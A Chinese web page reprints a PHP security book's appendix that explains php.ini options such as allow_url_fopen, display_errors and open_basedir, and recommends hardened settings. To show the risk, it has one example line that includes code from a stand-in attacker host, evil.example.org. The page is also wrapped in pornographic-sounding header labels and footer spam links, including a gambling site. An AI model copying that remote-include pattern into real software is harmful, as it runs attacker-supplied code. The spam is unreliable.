电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術(shù)文章
文章詳情頁

PHP安全-配置選項

瀏覽:107日期:2022-09-11 17:41:09
配置選項

盡管本書的焦點是在于應(yīng)用的安全性,但有一些配置選項是任何關(guān)心安全的開發(fā)者必需熟悉的。PHP的配置會影響你所寫代碼的行為以及你使用的技巧,必要時你需要稍稍負責(zé)一下應(yīng)用程序以外的東西。

PHP的配置主要由一個名為php.ini的文件所指定。該文件包含很多配置選項,每一項都會對PHP產(chǎn)生非常特定的影響。如果該文件不存在,或者該文件中的某選項不存在,則會使用默認值。

如果你不知道php.ini文件所在的位置,你可以使用phpinfo( )來確定PHP中對該文件路徑的定義:

<?php

phpinfo();

?>

圖A-1 所示的第六行(配置文件(php.ini)路徑)顯示了php.ini的完整路徑。如果只顯示了路徑(沒有文件名),這就意味著PHP無法在所示路徑找到php.ini文件。

該文件包含的自身說明非常好,因此你可以閱讀該文件并選擇適合你的配置選項。而手冊更是詳細,所以在你需要某一選項的更多信息時,我推薦訪問http://php.net/manual/ini.php

圖A-1. phpinfo( ) 函數(shù)可用于php.ini文件的定位

PHP安全-配置選項

A.1. allow_url_fopen

正如第六章所示,allow_url_fopen選項允許你如同本地文件一樣引用遠程資源:

<?php

$contents = file_get_contents(’http://example.org/xss.html’);

?>

在第五章中揭示了當(dāng)它與include或require相結(jié)合時的危險性:

<?php

include ’http://evil.example.org/evil.inc’;

?>

我推薦關(guān)閉allow_url_fopen選項,除非你的應(yīng)用需要它。

A.2. disable_functions

disable_functions選項是非常有用的,它可以確保一些有潛在威脅的函數(shù)不能被使用。盡管可以建立規(guī)范去禁止使用這些函數(shù),但在PHP配置中進行限制要比依賴于開發(fā)者對規(guī)范的遵循要可靠得多。

我建立對附錄B列出的函數(shù)進行檢查,看一下是否要對一些函數(shù)進行限制。

A.3. display_errors

PHP的錯誤報告可以幫助你發(fā)現(xiàn)你所寫代碼中的錯誤。當(dāng)你開發(fā)應(yīng)用時,把錯誤提示顯示出來是取得即時反饋的有效方法,同時也可以加快開發(fā)速度。

在一個產(chǎn)品級的應(yīng)用中,這一行為會成為一項安全風(fēng)險。如果它顯示錯誤信息,所有人就可以得知你的應(yīng)用中的重要信息。

在產(chǎn)品中你需要關(guān)閉display_errors選項。

A.4. enable_dl

enable_dl選項用于控制dl()函數(shù)是否生效,該函數(shù)允許在運行時加載PHP擴展。

使用dl()函數(shù)可能導(dǎo)致攻擊者繞過open_basedir限制,因此除非有必要,你必須在你的應(yīng)用中禁止它。

A.5. error_reporting

很多安全漏洞是由于使用了未初始化的變量或其它隨意的編程方法引起的。通過把PHP的error_reporting選項置為E_ALL 或 E_ALL | E_STRICT,PHP就會對上述行為進行提示。這些設(shè)置都為報告Notice級別的錯誤。

我建議把error_reporting至少設(shè)定為E_ALL。(譯注:在開發(fā)中)

A.6. file_uploads

file_uploads選項決定了是否允許上傳文件。因此,如果你的應(yīng)用不需要用戶上傳文件,那么關(guān)閉該選項就是最好的選擇。

只是簡單地在PHP代碼中不對上傳文件進行處理是不夠的,因為在執(zhí)行你的代碼前,PHP就做了一些工作(如根據(jù)相關(guān)部據(jù)生成$_FILES數(shù)組)。

A.7. log_errors

當(dāng)log_errors設(shè)為有效時,PHP會向error_log配置選項指定的文件中寫入所有出錯信息。

當(dāng)display_errors設(shè)為無效時,將log_errors設(shè)為有效是很重要的;否則你將無法看到睛出錯信息。

我建議將log_errors設(shè)為有效并在error_log設(shè)定日志文件所在位置。

A.8. magic_quotes_gpc

magic_quotes_gpc是一個常用的選項,它目的是防止SQL注入。但出于很多原因,包括它轉(zhuǎn)義輸入的方式,證明了它是不完善的。

它對$_GET, $_POST, 以及 $_COOKIE中的數(shù)據(jù)使用同樣的規(guī)則即addslashes( )函數(shù)進行處理。從而,它并沒有根據(jù)你的數(shù)據(jù)庫選用對應(yīng)的轉(zhuǎn)義函數(shù)進行處理。

基于兩個主要的原因,你需要把get_magic_quotes_gpc設(shè)為無效:

首先,它會加大你的輸入過濾邏輯的復(fù)雜性,這是由于它在執(zhí)行你的代碼前首先對數(shù)據(jù)進行了編輯。例如,你需要對輸入的姓名進行過濾,其邏輯是只允許字母、空格、連詞符以及單引號,當(dāng)magic_quotes_gpc生效時,你必須適應(yīng)形如O’Reilly的姓名或者使用stripslashes( )嘗試將它恢復(fù)原形。這一不必要的復(fù)雜性(或者說不嚴謹?shù)倪^濾規(guī)則)加大了發(fā)生錯誤的可能性,同時,你的輸入過濾機制中的缺陷必然會導(dǎo)致安全漏洞。

其次,它并沒有根據(jù)你的數(shù)據(jù)庫選用對應(yīng)的轉(zhuǎn)義函數(shù)進行處理。這樣,由于它可以抵擋一些低層次或偶發(fā)的攻擊,掩蓋了它是一個糟糕的過濾或轉(zhuǎn)義機制這個事實,從而留下了一個安全漏洞,使你的應(yīng)用無法抵擋如針對字符集的攻擊等更復(fù)雜的攻擊手段。

A.9. memory_limit

為防止寫得糟糕的腳本占用所有的可用內(nèi)存,可以使用memory_limit選項對最大內(nèi)存使用量進行限制(以字節(jié)方式或縮寫方式如8M指定)。

盡管最佳的取值是與運行的應(yīng)用是相關(guān)的,我還是建議在大多情況下使用默認值8M。

memory_limit選項只有在PHP指定了enable-memory-limit方式編譯時才會生效。

A.10. open_basedir

open_basedir選項會限制PHP只能在它指定的目錄中打開文件。盡管它不能取代正確的輸入過濾,但該選項能減少利用文件系統(tǒng)相關(guān)函數(shù)如include及require進行的攻擊。

該選項的值會被當(dāng)做前綴使用,因此當(dāng)你想表示指定目錄時請小心不要漏了最后的斜杠:

open_basedir = /path/to/

小提示

請確認enable_dl選項是關(guān)閉的,否則open_basedir的限制可能會被繞過。

A.11. register_globals

見第二章

A.12. safe_mode

見第八章

PHP安全-配置選項

標簽: PHP
相關(guān)文章:
主站蜘蛛池模板: 选宝石船-陆地水上开采「精选」色选机械设备-青州冠诚重工机械有限公司 | 隆众资讯-首页_大宗商品资讯_价格走势_市场行情 | PO膜_灌浆膜及地膜供应厂家 - 青州市鲁谊塑料厂 | 扒渣机,铁水扒渣机,钢水扒渣机,铁水捞渣机,钢水捞渣机-烟台盛利达工程技术有限公司 | 打孔器,打孔钳厂家【温州新星德牌五金工具】 | MTK核心板|MTK开发板|MTK模块|4G核心板|4G模块|5G核心板|5G模块|安卓核心板|安卓模块|高通核心板-深圳市新移科技有限公司 | 防水套管_柔性防水套管_刚性防水套管-巩义市润达管道设备制造有限公司 | 挤出机_橡胶挤出机_塑料挤出机_胶片冷却机-河北伟源橡塑设备有限公司 | 医用空气消毒机-医用管路消毒机-工作服消毒柜-成都三康王 | 机房监控|动环监控|动力环境监控系统方案产品定制厂家 - 迈世OMARA | 一体化污水处理设备_生活污水处理设备_全自动加药装置厂家-明基环保 | 顺景erp系统_erp软件_erp软件系统_企业erp管理系统-广东顺景软件科技有限公司 | 实体店商新零售|微赢|波后|波后合作|微赢集团 | 钢格板|镀锌钢格板|热镀锌钢格板|格栅板|钢格板|钢格栅板|热浸锌钢格板|平台钢格板|镀锌钢格栅板|热镀锌钢格栅板|平台钢格栅板|不锈钢钢格栅板 - 专业钢格板厂家 | 安平县鑫川金属丝网制品有限公司,防风抑尘网,单峰防风抑尘,不锈钢防风抑尘网,铝板防风抑尘网,镀铝锌防风抑尘网 | 空心明胶胶囊|植物胶囊|清真胶囊|浙江绿键胶囊有限公司欢迎您! | 防水套管-柔性防水套管-刚性防水套管-上海执品管件有限公司 | 定制/定做冲锋衣厂家/公司-订做/订制冲锋衣价格/费用-北京圣达信 | LINK FASHION 童装·青少年装展 河南卓美创业科技有限公司-河南卓美防雷公司-防雷接地-防雷工程-重庆避雷针-避雷器-防雷检测-避雷带-避雷针-避雷塔、机房防雷、古建筑防雷等-山西防雷公司 | 新能源汽车电机定转子合装机 - 电机维修设备 - 睿望达 | 安徽合肥项目申报咨询公司_安徽合肥高新企业项目申报_安徽省科技项目申报代理 | 讲师宝经纪-专业培训机构师资供应商_培训机构找讲师、培训师、讲师经纪就上讲师宝经纪 | C形臂_动态平板DR_动态平板胃肠机生产厂家制造商-普爱医疗 | 移动机器人产业联盟官网 | 锂电池砂磨机|石墨烯砂磨机|碳纳米管砂磨机-常州市奥能达机械设备有限公司 | 石家庄网站建设|石家庄网站制作|石家庄小程序开发|石家庄微信开发|网站建设公司|网站制作公司|微信小程序开发|手机APP开发|软件开发 | 东亚液氮罐-液氮生物容器-乐山市东亚机电工贸有限公司 | 无硅导热垫片-碳纤维导热垫片-导热相变材料厂家-东莞市盛元新材料科技有限公司 | 新能源汽车教学设备厂家报价[汽车教学设备运营18年]-恒信教具 | 西安微信朋友圈广告投放_微信朋友圈推广_西安度娘网络科技有限公司 | 振动传感器,检波器-威海广达勘探仪器有限公司 | 磁力抛光机_磁力研磨机_磁力去毛刺机_精密五金零件抛光设备厂家-冠古科技 | 联系我们-腾龙公司上分客服微信19116098882 | 间甲酚,间甲酚厂家-山东祥东新材料 | 开云(中国)Kaiyun·官方网站 - 登录入口| 天津仓储物流-天津电商云仓-天津云仓一件代发-博程云仓官网 | 小型铜米机-干式铜米机-杂线全自动铜米机-河南鑫世昌机械制造有限公司 | 上海办公室装修公司_办公室设计_直营办公装修-羚志悦装 | 过跨车_过跨电瓶车_过跨转运车_横移电动平车_厂区转运车_无轨转运车 | 政府园区专业委托招商平台_助力企业选址项目快速落地_东方龙商务集团 | 减速机电机一体机_带电机减速器一套_德国BOSERL电动机与减速箱生产厂家 |